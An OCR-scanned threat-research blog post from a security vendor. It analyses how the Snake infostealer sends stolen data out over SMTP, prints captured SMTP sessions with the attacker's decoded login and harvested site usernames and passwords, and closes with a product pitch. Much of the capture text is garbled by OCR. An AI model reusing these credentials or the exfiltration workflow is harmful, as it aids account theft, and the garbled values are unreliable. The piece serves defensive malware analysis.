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Data exfiltration via Simple Mail Transfer Protocol (SMTP) is a robust method attackers use to transfer sensitive
or confidential information from a compromised system to an external location. SMTP, the standard email
communication protocol, is opted by attackers for exfiltration because it operates over commonly allowed ports

(e.g., ports 25, 465, or 587). However, despite these dangers it is rarely blocked within corporate environments.

IT security professionals and network administrators must monitor SMTP traffic, as attackers can abuse the
protocol by encoding sensitive data into email attachments or body content and sending it to external email
accounts under their control. Since SMTP traffic is typically encrypted using protocols like STARTTLS or
SMTPS, it can bypass many traditional network monitoring tools that are not configured to inspect encrypted
traffic. Furthermore, the legitimate use of email in corporate workflows makes exfiltration via SMTP less
suspicious to intrusion detection systems, especially if attackers blend exfiltrated data with legitimate email

activity.

The Snake loader and keylogger code analysis was performed earlier, highlighting its techniques and tactics.

Today the Aryaka Threat Research Lab is analyzing the SMTP-based data exfiltration mechanism snake keylogger

uses ata before exfiltration.

Attackers often exploit compromised email accounts (via phishing or credential theft) to send emails, making the
activity appear legitimate to increase the likelihood of success. Another tactic involves using specially crafted
malware to automate data collection, encoding, and exfiltration, often configured to interact directly with an
SMTP server. This malware may include mechanisms to periodically check for connectivity or dynamically

update email recipient addresses to evade blocklists.
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13. 917176 18,9, 16,181 08,51, 199, 223 TP 54 AERT - 587 [MOK] Seqe] Acke] WineGdjad
18, 186007 708,91, 199.123 10.9. 16, 101 SHTP 182 f: 218 us2.outbound.mailhostbex. com ESHTP Postfix
18.187337 18.9.16.181 I8E.91.199.223 SHTP 76 £: EMLO DESKTOP=S5SMWCHO

18187675 2o, 51,199,223 19,9, 16, 181 TR 54 SET = JUEET TRORT Seo=d0

18, 302285 298,51, 199. 223 19.9. 16. 181 SHTP 263 S: 258-ys3 oytbound hostbox, com | PIPELIHIN TE S1G4BIZE | VRFY.
18, 302934 18,9, 16, 181 88, 91,199,223 SHTP 99 Of AUTH login User: cVuZGVyQGluaGalclvwashrLahvbOss
18. 303060 788,91, 199.223 10.9.16. 101 ] 54 587 = 406 TR] Seqeis8 Achebl Winsedid b
18387877 208, 51,199. 223 19.9. 16, 181 SHTP 72 8

18, 388042 19.9.16. 181 ToB. 51,199,223 SHTP 72 €: (Pass: TyhQIWVPEINKMA==

18, 388189 206, 91,199,223 19,9, 16,181 TP 54 587 - 20887 [MOK] Seqeilf AcksB6 Win=E424@ Lensd
18488699 708,91, 199. 123 10.9. 16, 101 SHTP 9 5

18. 4890129 198.9.16. 181 88, 91.199.223 SHTP 98 C: IL FROM:<senden@inhousepick. coms

18, 489344 2o, 51,199,223 19.9. 16, 181 TP 54 8&] - 408ET [ACK] Seqedi} Ack=122 Win=84248 Lensi

18, 583158 298, 51,199, 223 19.9. 16. 181 SHTP 68 5: 250 2.1.8 ok

18, 583669 10.9,16. 101 06,91, 199,223 SHTP B8 C: [RCPT TO:<inlogs@inhousepick, coms

18. 583846 788,91, 199.223 10.9.16. 101 ] 54 58] = 40887 [MK] Seqe327 Acke156 Wine64148 Lensi
18683783 208,51,199. 223 19.9. 16,181 SHTP 68 5: |25 2.1.% Ok

18, 654000 19.9.16. 181 o8, 51,199,223 SHTP 62 c: lpata

18, 694113 206,91, 199,223 10,9, 16, 101 TP 54 587 - 40887 [MK| Seqeidl Ack=167 Win=64248 Len=i

18. 788315 708,91, 199.123 10.9. 16, 101 SHTP 91 5: 354 End data with <CRw<LFx,<CRwcl Fx

18.793188 18.9.16.181 8B, 91.199.223 SHTP 3901 C: DATA frlgli:ﬂt.. 247 bytes

18, 783388 2o, 51,199,223 19.9. 16, 181 TP 54 SET - 4ORET [ACK] SeqedT8 Ack=409 Win=84248 Len=i

18, 703443 18,9, 16. 181 48,51, 199,223 SHTP 1514 C€: DATA fragment, 1468 bytes

18, 793445 10.9, 16, 1981 06,91, 199,223 SHTP 1514 C: DATA frageent, 1468 bytes

18. 793446 18.9.16.181 86.91.199.223 SHTP 1229 C: DATA fragment, 1175 bytes

18.783514 208, 51.199. 223 19.9. 16, 181 TR S4 587 o 49887 [MK] Seqe378 Ack=1885 WinsB4248 Len=i
18, 703549 208,51, 199. 223 19.9. 16. 181 TcP 54 587 - 4ORET [ACK] Seqed78 Ack=312% WinsBA248 Len=i
18. 793568 206, 91,199,223 0.9, 16, 101 TP 54 587 - 49887 [AOK] SeqeIT8 AcksdSB4 WinsG4240 Len=g
18. 703690 18.9.16.181 08,91, 199. 123 SHTP 1514 C: DATA fragment, 1468 bytes

18. 793852 198.9.16. 191 8B, 91.1599.223 SHTP 983 C: DATA frlgli:ﬂt.. 929 bytes

18783767 18.9.16. 181 Tab. 51 199,223 SHTE %8 C: DATA fragment, 2 bytes

18. 703773 208,51, 199. 223 19.9. 16. 181 TcP 54 SET -+ 40BET [AMK] Seqed7B AcksS064 WinsB4240 Len=i
18, 793792 208,91, 199,223 10.9, 16, 101 TP 54 587 + 40887 [AMOK] Seqe3T8 Acke6893 WinsG4240 Lensi
18. 703809 788.91.199. 223 10.9.16. 101 TP 54 587 = 49887 [MK] Seqe3T8 Acke£89S WineG4248 Lens@
18. 793545 18.9.16.181 98, 51.155.223 SHTRS - 55 from: senderfiinhousepick.com, subject: Pc Hame: userl | / WIF Becowvery .

Figure 1: SMTP communication triggered from the compromised system running snake infostealer

Let’s dissect it by analyzing the TCP session stream to understand the complete workflow.

¢ The compromised system running snake infostealer sends the EHLO (Extended HELO) command to
identify the client to the server and indicate support for the Extended SMTP (ESMTP) features.

¢ The AUTH command initiates the authentication process between an SMTP client running on the
compromised system and the SMTP server. It supports various authentication mechanisms to provide
authentication credentials to the SMTP server. It ensures that only authorized systems running snake
infostealer can relay emails through the server. The “c2VuZGVyQGluaG91c2VwaWNrLmNvbQ=="
decodes to “sender@inhousepick.com.” The password string “IyhQJIWVPXiNKMA==" decodes to “#

(P%eO/#J0”. Once the authentication is completed, the remote server successfully validates the connection

initiated from the compromised system running snake infostealer. It waits for the next steps. Figure 2

validates this mechanism.
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228 us2.outbound.mailhostbox.com ESMTP Postfix
EHLO DESETOP-SKVC2KX
258-us2.outbound.mailhosthox.com
258=PIPELINING

258-5S1ZE 41648128

2508-VRFY

258-ETRN

258-STARTTLS

25@8-AUTH PLAIN LOGIN
258-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
258-BBITHIME

258-D5N

25308 CHUNKING

AUTH login c2VuZGWyQGluaGilc2VwakNrimbivb==
334 UGFzcidvemb

IyhQIWVPXiNKMA==

235 2.7.0 Authentication successful
MAIL FROM:=sender@inhousepick.coms
258 2.1.9 Dk

RCPT TO:<inlogs@inhousepick.com=
250 2.1.5 Ok

DATA
Figure 2: SMTP authentication commands exchange

After authentication, the compromised systems send the “MAIL FROM” command, highlighting the email’s

sender, “sender@inhousepick.com.” Similarly, the “RCPT TO” command highlights the receiver of the email,

which in this case is “inlogs@inhousepick.com.” The “250 OK” response shows the server has accepted the

commands. Figure 3 shows how the compromised system uses the “DATA” command to exfiltrate stolen

information from the compromised system as shown in figure 3.
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E.'.hl. TA ]

354 End data with <CR=<LFs.<(R=<LF=>

MIME-Version: 1.8
From: sender@inhousepick.com
To: inlogs@inhousepick.con
Date: +B020
Subject: Pc Name: userl | / VIP Recovery %
Content-Type: text/plain; charset=us-ascii
Content=-Transfer-Encoding: quoted-printable
s y
P | wserl | VIP Recovery=8D=8A =@D=0A=fD=RAP( Name:DESKTOP-WIN1l=
PC=BD=BADate and Time: §/16/2024 / B:08:31 PH=e0=0AClient IP: 173=
v + 86,46, 97=00=0A=80=8ACountry Name: United States=@D=RACountryCode=
¢t US=@D=0ARegion Mase: =@0=0ARegion Code: =QD=@ACity: =OD=PATimeZ=
one: Aserica/Chicago=@D=8ALatitude: 41.878=0D0=0ALongitude: -87.62=
9=0D=RAStub Version: 4.4=00=pA=80=@A=B0=@A-=-==== J VIP Recovery=
Y\, =———————z@l=8ARecovered From: Outlook=80=8AURL: mailsvr.krypto=
n.click=00=0AE-Mail: superman@krypton.click=B0=0AP5SWD: P@sswlrdli=
3456785=00=0A =@0=0A =0D=0A
== f VIP Recovery \ ——————z=fD=8ARecovered From: Google Chroses80=8A=
Host: https://login. jusbo.com/=80=BAUSR: fitnessfreak=00=0APSWD: =
y8,/%"w. HAD ' 53hpBEU+{PF"ardé#gj ZVu=0D=04 =
—————=QD=04 =0D=04 - f VIP Recovery '\, —————=00=0ARECOVE=
red From: Google Chrome=8D=@AHost: https://accounts.spotify.com/fe=
n/login=00=0AUSR: fitnessfreak=00=0APSWD: M@':vtYh?/(F$6+c [{5AuX]=
#=jgk [+r:v=00=04 =00=04 =00=RA—=
==== f VIP Recovery % ===@0=0ARecovered From: Google Chrome=
=@0=@AHost: https://shopaholics.com/ login/login=80=BAUSR: superma=
n@krypton. click=00=RAPSWD: Q7_IW5] rBS+A2, 8!D>wah/AEdt $Es+L-xT=00=04=
=g0=8A =@B0=0A————— [ VIP Reco=
very %\ ==—————-s@il=@ARecovered From: Google Chrome=8D=8AHost: htts
ps://myaccount.chiitos.com/auth/login=00=0AUSR: supermangkrypton.
Click=80=0APSWD: G; f2@6vikb=zh80#LgdgYa"~] T=00=0A
=00=0A =00=0A—————— ) VIP Recovery % ———afl=0A=
Recovered From: Google Chrome=8D=@AHost: hitps://secure.newegg.co=
mfidentity/signin=00=0AUSR: superman@krypton.click=00=0AP5WD: sAN=
S!MQ=p_Rdn} )=yFyl<xj2qlLfPt=lig. HZ&h=00=0A =
- ———-=Q0=04 =0D=04 ==/ YIP Recovery \ =—=—=——==pD=0ARec= J

Figure 3: SMTP: Data exfiltration using DATA command

The DATA command signals to the SMTP server that the client can transmit the email content. Once the command

is issued and the server responds positively, the client sends the email’s headers and body, ending the transmission

with a specific delimiter. The SMTP client running on the compromised system installed with snake infostealer

sends a “DATA” command, and the remote server responds with a 354 code, indicating that it is ready to receive

the message content. Once the data is exfiltrated, the client issues the “QUIT” (See Figure 4) command to truncate

the SMTP session. One can notice that sensitive data stolen by the snake infostealer is exfiltrated via the SMTP

channel.
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HELE L =00=0A= |
e} VIP Recowery Y\ ——————— =AD=BARecovered From: Ed=
¢ Chromium=@D=@AHost: https://www.facebook.com/=00=0AUSR: 121345=
T898=00=RAPSWD: D32sPnbjzS?BuUYhrR~4T+{FE(!=80=0A
=AD=0A =@0=@A-===== = J VIF RECOVErY Y\ ————e——— =@0=0A=
h{ecn\rered From: Edge Chromium=@D=0AHost: https://wws.linkedin.cos=
/Login=0D=BAUSR: 12134567890=0D=0APSWD: WCYuF-Ny(bHGY@kg=]r5p=x],=
whE" VU4 TA!M_=80=0A- e e =@0=0A =0D=0A=
—— f VIP Recovery % —————=080=8ARecovered From: Edge Chro=
ium=00=8AHost: https://www.netflix.com/login=00=0AUSR: 121345678=
9=80=0APSWD: PBy{E;plh5&Ta=NsgbH?.dZ6L>-:qlmu}YW, " z=80=BA-——— =
=@0=0A =@D=BA--———— S VIP Recovery \ =
————————nfibeBARecovered From: Edge Chromiusm=@8D=0AHost: https://fse=
cure. néwegg. com/ identity/signin=00=0AUSR: superman@hryptnn.(lick—ﬂD=ﬂA-
|PSWD: SAMS !MO#p_Rdn}{)=yFYJ=Xj2qLfPt=Ug. HZEh=0D=0A—————————
=@0=0A =80=0A---—-—= f YIP Recovery Y, ———————=
=@0=0ARecovered From: Edge Chromium=8D=0AHost: https://myaccount.=
chiitos. com/auth/login=0D=0AUSR: superman@krypton.click=@0=@APSWD=
: G f2R6vIkb=zhBO#LgdgYa™~] F=00=04A
|===fD=RA =00=QA-——-=— / VIP Recovery ‘, ———-—————=0D=0ARecovered
From: Edge Chromium=80=0AHost: https://www.reddit.com/=0D=0ALSHK:
simpletenfer9ll=00=0APSWD: VDs_0T=30MNAQG]#0)=r,0(9Y2+=00=0A-
=@0=0A =B0=@A-======= [ VIP Recovery ‘\=
————— -=@0=@ARecovered From: Edge Chromium=00=0AHost: https:/S/s=
lashdot.org/=00=RAUSR: fitnessfreak=00=0APSWD: j4L&_z-—+USATDh2@q3=
pkESMfZ=3D8RAN | =PD=RA—— =======z@l=8A =BD=0A=
- / VIP Recovery \ —————=00=0ARecovered From: Edge Chro=
mium=8D=BAHost: https://accounts.spotify.com/en/Llogin=00=0AUSR: s=
thompson2B4=0D=0APSWD: M@':vwtYb?/(F36+c|[{5AuX]*]g} [+r:v=0D=0A-——=
=B0=0A =80=0A=R0=0A=80=0A=RD=RA=0D=0A=

250 2.0.9 Ok: queued as BTITESRQBAD
nuIT
221 2.9.9 Bye

Figure 4: SMTP connection closes dafter successful exfiltration

As you may have noticed, the compromised snake infostealer system did not use STARTTLS to send all
commands and message content in unencrypted format over the network, including potentially sensitive email
headers, body content, and authentication credentials. The system uses SMTP AUTH to log in to the mail server

without STARTTLS, so the username and password are transmitted in plain text.

Since SMTP is widely allowed in corporate environments, this activity might go unnoticed unless monitored
closely. By sending data in small chunks or disguising it as legitimate emails, attackers can evade detection by
intrusion detection systems (IDS) or data loss prevention (DLP) tools.

How does Unified SASE as a Service help mitigate SMTP breaches?

A Unified Secure Access Service Edge (SASE) framework integrates network security and zero-trust access
controls to protect organizations against data exfiltration, including threats that target SMTP traffic. SASE
provides centralized visibility and monitoring, allowing security teams to detect anomalies, such as sudden spikes

in email activity or connections to untrusted external mail servers.

By applying consistent security policies across all traffic—including email communications—Unified SASE
ensures that unauthorized SMTP traffic, malicious attachments, and outbound data leaks are detected and blocked

in real time, providing immediate security. SASE’s content inspection capabilities prevent sensitive data from

Page 5 of 6


https://www.aryaka.com/why-unified-sase/

https://www.aryaka.com /blog/snake-infostealer-smtp-data-exfiltration/

being exfiltrated via SMTP. It can inspect outbound emails, detect patterns of sensitive information (e.g., credit

card numbers, intellectual property, or personal identifiers), and automatically block unauthorized transmissions.

Source: https://www.aryaka.com/blog/snake-infostealer-smtp-data-exfiltration/
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